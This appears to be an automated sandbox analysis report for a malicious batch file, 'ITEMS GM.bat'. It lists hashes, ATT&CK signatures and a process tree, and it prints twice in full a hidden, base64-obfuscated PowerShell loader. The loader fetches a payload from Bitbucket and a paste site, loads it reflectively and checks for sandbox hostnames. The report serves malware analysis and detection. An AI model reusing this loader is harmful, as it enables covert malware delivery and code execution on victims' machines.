48851a1e4d22cdeef9671baeddef580ba0b1be37317447427dd22b041c145c1d

Analysis

max time kernel
298s
max time network
300s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
30/05/2026, 01:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ITEMS GM.bat
Size 8KB
Sample260530-b52tfscz4w
SHA256 48851a1e4d22cdeef9671baeddef580ba0b1be37317447427dd22b041c145c1d
MD5 096bb72b9b7ff14bc59561567b266611
SHA1 007e438a6f99d05f54746650249f3c2f82545aa8
SHA512 fa80c2ef688864eef70fccc358380074b71ba9fca55edb03bc1228ed7793b01e3672a6b600172219940871b1b9e5b7d1e04bd52de2290ac6f70c66d0ac183424
SSDEEP 192:BIHeaogVMlDmbaz/iAxpHWe4/CbTKcSRTx8QM41zpND/:qHea/8DmbazPxpHWeGCbTK/Vqr4ZL
TLSH
T11502417CC5E5BCD443672280B5D6FAC21145CB23AFB78EACE5C914811B1035DEB7D589
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	1060	powershell.exe
3	1060	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2688	powershell.exe
1060	powershell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	bitbucket.org
3	bitbucket.org

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2688	powershell.exe
2688	powershell.exe
1060	powershell.exe
1060	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2688	powershell.exe
Token: SeDebugPrivilege	1060	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4604 wrote to memory of 2688	4604	cmd.exe	82
PID 2688 wrote to memory of 1060	2688	powershell.exe	83
PID 1060 wrote to memory of 2500	1060	powershell.exe	85

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ITEMS GM.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$jghjggghhjg = ''WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgAKAAoAZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBSAGUAbQBvAHQAZQBEAGEAdABhACAAewAKACAAIAAgACAAcABhAHIAYQBtACAAKABbAHMAdAByAGkAbgBnAFsAXQBdACQAdQByAGwAcwApAAoAIAAgACAAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQACgAgACAAIAAgACQAcgBhAG4AZABvAG0ATwByAGQAZQByACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAdQByAGwAcwAgAC0AQwBvAHUAbgB0ACAAJAB1AHIAbABzAC4ATABlAG4AZwB0AGgACgAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAdQAgAGkAbgAgACQAcgBhAG4AZABvAG0ATwByAGQAZQByACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAHQAcgB5ACAAewAgAHIAZQB0AHUAcgBuACAAJABjAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJAB1ACkAIAB9ACAAYwBhAHQAYwBoACAAewAgAGMAbwBuAHQAaQBuAHUAZQAgAH0ACgAgACAAIAAgAH0ACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABuAHUAbABsAAoAf@QAKACQAcwBjAGgAZQBtAGUAMQAgAD0AIAAnAGgAdAB0AHAAJwAKACQAcwBjAGgAZQBtAGUAMgAgAD0AIAAnAHMAOgAvAC8AJwAKACQAYgBhAHMAZQBVAHIAbAAgAD0AIAAkAHMAYwBoAGUAbQBlADEAIAArACAAJABzAGMAaABlAG0AZQAyAAoAaQBmACAAKAAoAGgAbwBzAHQAbgBhAG0AZQApACAALQBsAGkAawBlACAAJwAqAGMAbABlAGEAbgAqACcAKQAgAHsACgAgACAAIAAgAGUAeABpAHQACgB9AAoAJAB0AGEAcgBnAGUAdABVAHIAbABzACAAPQAgAEAAKAAKACAAIAAgACAAKAAkAGIAYQBzAGUAVQByAGwAIAArACAAJwBiAGkAdABiAHUAYwBrAGUAdAAuAG8AcgBnAC8AbQB5AHcAdABlAHMAdAB3AHUAcwBiAGUAYwB0AC8AaABmAGcAaABmAGcAZABmAGcAZABmAGcALwBkAG8AdwBuAGwAbwBhAGQAcwAvADMALgBqAHAAZwAnACkALAAKACAAIAAgACAAKAAkAGIAYQBzAGUAVQByAGwAIAArACAAJwBwAGEAcwB0AGUALgBzAGUAbgBzAGkAbwAuAG4AbwAvAEoAYQB2AGkAZQByAEcAaQBnAG8AbABvACcAKQAKACkACgAKACQAcgBhAHcARABhAHQAYQAgAD0AIABHAGUAdAAtAFIAZQBtAG8AdABlAEQAYQB0AGEAIAAkAHQAYQByAGcAZQB0AFUAcgBsAHMACgBpAGYAIAAoACQAcgBhAHcARABhAHQAYQAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAHQAZQB4AHQAQwBvAG4AdABlAG4AdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHIAYQB3AEQAYQB0AGEAKQAKACAAIAAgACAAJABzAHQAYQByAHQAVABhAGcAIAA9ACAAJwA8ADwAUwBUAEEAUgBUAD4APgAnAAoAIAAgACAAIAAkAGUAbgBkAFQAYQBnACAAIAAgAD0AIAAnADwAPABFAE4ARAA+AD4AJwAKAAoAIAAgACAAIAAkAHMAdABhAHIAdABQAG8AcwAgAD0AIAAkAHQAZQB4AHQAQwBvAG4AdABlAG4AdAAuAEkAbgBkAGUAeABPAGYAKAAkAHMAdABhAHIAdABUAGEAZwApAAoAIAAgACAAIAAkAGUAbgBkAFAAbwBzACAAIAAgAD0AIAAkAHQAZQB4AHQAQwBvAG4AdABlAG4AdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAFQAYQBnACkACgAKACAAIAAgACAAaQBmACAAKAAkAHMAdABhAHIAdABQAG8AcwAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAFAAbwBzACAALQBnAHQAIAAkAHMAdABhAHIAdABQAG8AcwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAHMAdABhAHIAdABQAG8AcwAgACsAPQAgACQAcwB0AGEAcgB0AFQAYQBnAC4ATABlAG4AZwB0AGgACgAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAAgAD0AIAAkAGUAbgBkAFAAbwBzACAALQAgACQAcwB0AGEAcgB0AFAAbwBzAAoAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQAQwBoAHUAbgBrACAAPQAgACQAdABlAHgAdABDAG8AbgB0AGUAbgB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAdABhAHIAdABQAG8AcwAsACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAApAAoACgAgACAAIAAgACAAIAAgACAAJABhAHMAcwBlAG0AYgBsAHkAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQBzAGUANgA0AEMAaAB1AG4AawApAAoAIAAgACAAIAAgACAAIAAgACQAbABvAGEAZABlAGQAQQBzAG0AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYQBzAHMAZQBtAGIAbAB5AEIAeQB0AGUAcwApAAoACgAgACAAIAAgACAAIAAgACAAJAB0AGEAcgBnAGUAdABUAHkAcABlACAAPQAgACQAbABvAGEAZABlAGQAQQBzAG0ALgBHAGUAdABUAHkAcABlACgAJwBtAHkAcAByAG8AZwByAGEAbQAuAEgAbwBtAGUAZQBzACcAKQAKACAAIAAgACAAIAAgACAACgAgACAAIAAgACAAIAAgACAAJABpAG4AagBWAGEAbAB1AGUAIAA9ACAAJwBNAHMAQgB1AGkAbABkACcACgAgACAAIAAgACAAIAAgACAAJABzAHQAcgAgAD0AIAAnADAAJwAKACAAIAAgACAAIAAgACAAIAAkAGcAZwAgAD0AIAAnAGwAbABpAHIARwBpAGcAaQB1AEwALwBvAG4ALgBvAGkAcwBuAGUAcwAuAGUAdABzAGEAcAAvAC8AOgAgAGcAcwBmAGYAcwBmACcAIAA7ACAAJABnAGcAIAA9ACAAJABnAGcALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgACQAZwBnAC4ATABlAG4AZwB0AGgAIAAtACAANwApAAoAIAAgACAAIAAgACAAIAAgAAoAIAAgACAAIAAgACAAIAAgACQAdABhAHIAZwBlAHQAVAB5AHAAZQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwByAHUAbgAnACAAKwAgACcAcwBzACcAKQAuAEkAbgB2AG8AawBlACgACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAG4AdQBsAGwALAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACQAZwBnACAAIAAsACAAJABzAHQAcgAsACAAJwAnACwAIAAkAGkAbgBqAFYAYQBsAHUAZQAsACAAJwAwACcALAAgACcAeAA4ADYAJwApAAoAIAAgACAAIAAgACAAIAAgACkACgAgACAAIAAgAH0ACgB9AA=='';$oWgjffuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( [regex]::replace($jghjggghhjg,''f@'',''f'')));iex $oWgjffuxd\"'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2688
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$jghjggghhjg = 'WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgAKAAoAZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBSAGUAbQBvAHQAZQBEAGEAdABhACAAewAKACAAIAAgACAAcABhAHIAYQBtACAAKABbAHMAdAByAGkAbgBnAFsAXQBdACQAdQByAGwAcwApAAoAIAAgACAAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQACgAgACAAIAAgACQAcgBhAG4AZABvAG0ATwByAGQAZQByACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAdQByAGwAcwAgAC0AQwBvAHUAbgB0ACAAJAB1AHIAbABzAC4ATABlAG4AZwB0AGgACgAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAdQAgAGkAbgAgACQAcgBhAG4AZABvAG0ATwByAGQAZQByACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAHQAcgB5ACAAewAgAHIAZQB0AHUAcgBuACAAJABjAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJAB1ACkAIAB9ACAAYwBhAHQAYwBoACAAewAgAGMAbwBuAHQAaQBuAHUAZQAgAH0ACgAgACAAIAAgAH0ACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABuAHUAbABsAAoAf@QAKACQAcwBjAGgAZQBtAGUAMQAgAD0AIAAnAGgAdAB0AHAAJwAKACQAcwBjAGgAZQBtAGUAMgAgAD0AIAAnAHMAOgAvAC8AJwAKACQAYgBhAHMAZQBVAHIAbAAgAD0AIAAkAHMAYwBoAGUAbQBlADEAIAArACAAJABzAGMAaABlAG0AZQAyAAoAaQBmACAAKAAoAGgAbwBzAHQAbgBhAG0AZQApACAALQBsAGkAawBlACAAJwAqAGMAbABlAGEAbgAqACcAKQAgAHsACgAgACAAIAAgAGUAeABpAHQACgB9AAoAJAB0AGEAcgBnAGUAdABVAHIAbABzACAAPQAgAEAAKAAKACAAIAAgACAAKAAkAGIAYQBzAGUAVQByAGwAIAArACAAJwBiAGkAdABiAHUAYwBrAGUAdAAuAG8AcgBnAC8AbQB5AHcAdABlAHMAdAB3AHUAcwBiAGUAYwB0AC8AaABmAGcAaABmAGcAZABmAGcAZABmAGcALwBkAG8AdwBuAGwAbwBhAGQAcwAvADMALgBqAHAAZwAnACkALAAKACAAIAAgACAAKAAkAGIAYQBzAGUAVQByAGwAIAArACAAJwBwAGEAcwB0AGUALgBzAGUAbgBzAGkAbwAuAG4AbwAvAEoAYQB2AGkAZQByAEcAaQBnAG8AbABvACcAKQAKACkACgAKACQAcgBhAHcARABhAHQAYQAgAD0AIABHAGUAdAAtAFIAZQBtAG8AdABlAEQAYQB0AGEAIAAkAHQAYQByAGcAZQB0AFUAcgBsAHMACgBpAGYAIAAoACQAcgBhAHcARABhAHQAYQAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAHQAZQB4AHQAQwBvAG4AdABlAG4AdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHIAYQB3AEQAYQB0AGEAKQAKACAAIAAgACAAJABzAHQAYQByAHQAVABhAGcAIAA9ACAAJwA8ADwAUwBUAEEAUgBUAD4APgAnAAoAIAAgACAAIAAkAGUAbgBkAFQAYQBnACAAIAAgAD0AIAAnADwAPABFAE4ARAA+AD4AJwAKAAoAIAAgACAAIAAkAHMAdABhAHIAdABQAG8AcwAgAD0AIAAkAHQAZQB4AHQAQwBvAG4AdABlAG4AdAAuAEkAbgBkAGUAeABPAGYAKAAkAHMAdABhAHIAdABUAGEAZwApAAoAIAAgACAAIAAkAGUAbgBkAFAAbwBzACAAIAAgAD0AIAAkAHQAZQB4AHQAQwBvAG4AdABlAG4AdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAFQAYQBnACkACgAKACAAIAAgACAAaQBmACAAKAAkAHMAdABhAHIAdABQAG8AcwAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAFAAbwBzACAALQBnAHQAIAAkAHMAdABhAHIAdABQAG8AcwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAHMAdABhAHIAdABQAG8AcwAgACsAPQAgACQAcwB0AGEAcgB0AFQAYQBnAC4ATABlAG4AZwB0AGgACgAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAAgAD0AIAAkAGUAbgBkAFAAbwBzACAALQAgACQAcwB0AGEAcgB0AFAAbwBzAAoAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQAQwBoAHUAbgBrACAAPQAgACQAdABlAHgAdABDAG8AbgB0AGUAbgB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAdABhAHIAdABQAG8AcwAsACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAApAAoACgAgACAAIAAgACAAIAAgACAAJABhAHMAcwBlAG0AYgBsAHkAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQBzAGUANgA0AEMAaAB1AG4AawApAAoAIAAgACAAIAAgACAAIAAgACQAbABvAGEAZABlAGQAQQBzAG0AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYQBzAHMAZQBtAGIAbAB5AEIAeQB0AGUAcwApAAoACgAgACAAIAAgACAAIAAgACAAJAB0AGEAcgBnAGUAdABUAHkAcABlACAAPQAgACQAbABvAGEAZABlAGQAQQBzAG0ALgBHAGUAdABUAHkAcABlACgAJwBtAHkAcAByAG8AZwByAGEAbQAuAEgAbwBtAGUAZQBzACcAKQAKACAAIAAgACAAIAAgACAACgAgACAAIAAgACAAIAAgACAAJABpAG4AagBWAGEAbAB1AGUAIAA9ACAAJwBNAHMAQgB1AGkAbABkACcACgAgACAAIAAgACAAIAAgACAAJABzAHQAcgAgAD0AIAAnADAAJwAKACAAIAAgACAAIAAgACAAIAAkAGcAZwAgAD0AIAAnAGwAbABpAHIARwBpAGcAaQB1AEwALwBvAG4ALgBvAGkAcwBuAGUAcwAuAGUAdABzAGEAcAAvAC8AOgAgAGcAcwBmAGYAcwBmACcAIAA7ACAAJABnAGcAIAA9ACAAJABnAGcALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgACQAZwBnAC4ATABlAG4AZwB0AGgAIAAtACAANwApAAoAIAAgACAAIAAgACAAIAAgAAoAIAAgACAAIAAgACAAIAAgACQAdABhAHIAZwBlAHQAVAB5AHAAZQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwByAHUAbgAnACAAKwAgACcAcwBzACcAKQAuAEkAbgB2AG8AawBlACgACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAG4AdQBsAGwALAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACQAZwBnACAAIAAsACAAJABzAHQAcgAsACAAJwAnACwAIAAkAGkAbgBqAFYAYQBsAHUAZQAsACAAJwAwACcALAAgACcAeAA4ADYAJwApAAoAIAAgACAAIAAgACAAIAAgACkACgAgACAAIAAgAH0ACgB9AA==';$oWgjffuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( [regex]::replace($jghjggghhjg,'f@','f')));iex $oWgjffuxd"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1060
  - - C:\Windows\system32\HOSTNAME.EXE
      "C:\Windows\system32\HOSTNAME.EXE"
      4⤵
      PID:2500

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
MD5 88dc70c361a22feac57b031dd9c1f02f
SHA1 a9b4732260c2a323750022a73480f229ce25d46d
SHA512 19c0532741ebc9751390e6c5ca593a81493652f25c74c8cab29a8b5b1f1efef8d511254a04f50b0c4a20724bae10d96d52af7a76b0c85ddc5f020d4cac41100c
TLSH
T13551DF313375B1D489163F47192C19C423BF4355FA94AF4CB698620ED92740B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 5dfb8d6d3577ef56a50699664198cc3a8d6153825920cdbfe98dc1b0b28fd0ea
MD5 56e7cc24e4e764a6e613446566b582af
SHA1 6b07b3cadf90fb08f68350706431ace5e658ca24
SHA512 af6ec178eb2d396198679d0c372e8f83762f8c8b35910e6dc173c274744745c7d90ec4cdfc751e99fa954845209b1a667f2920dd5aba32135fbe382c9ff7da43
TLSH
T162119733B39CC134C8E9017A1088AD00B1B0C3C7009EDE8F7A84C109E57F89ADB601E4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_3qwmsgcj.ah1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3qwmsgcj.ah1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1060-22-0x000001F936830000-0x000001F936840000-memory.dmp

Download

memory/1060-14-0x000001F936830000-0x000001F936840000-memory.dmp

Download

memory/1060-13-0x000001F936830000-0x000001F936840000-memory.dmp

Download

memory/1060-23-0x000001F936830000-0x000001F936840000-memory.dmp

Download

memory/1060-24-0x000001F936830000-0x000001F936840000-memory.dmp

Download

memory/1060-25-0x000001F936830000-0x000001F936840000-memory.dmp

Download

memory/2688-9-0x000002ECEFD00000-0x000002ECEFD10000-memory.dmp

Download

memory/2688-8-0x000002ECF2AC0000-0x000002ECF2AE2000-memory.dmp

Download

memory/2688-1-0x000002ECEFD00000-0x000002ECEFD10000-memory.dmp

Download

memory/2688-0-0x000002ECEFD00000-0x000002ECEFD10000-memory.dmp

Download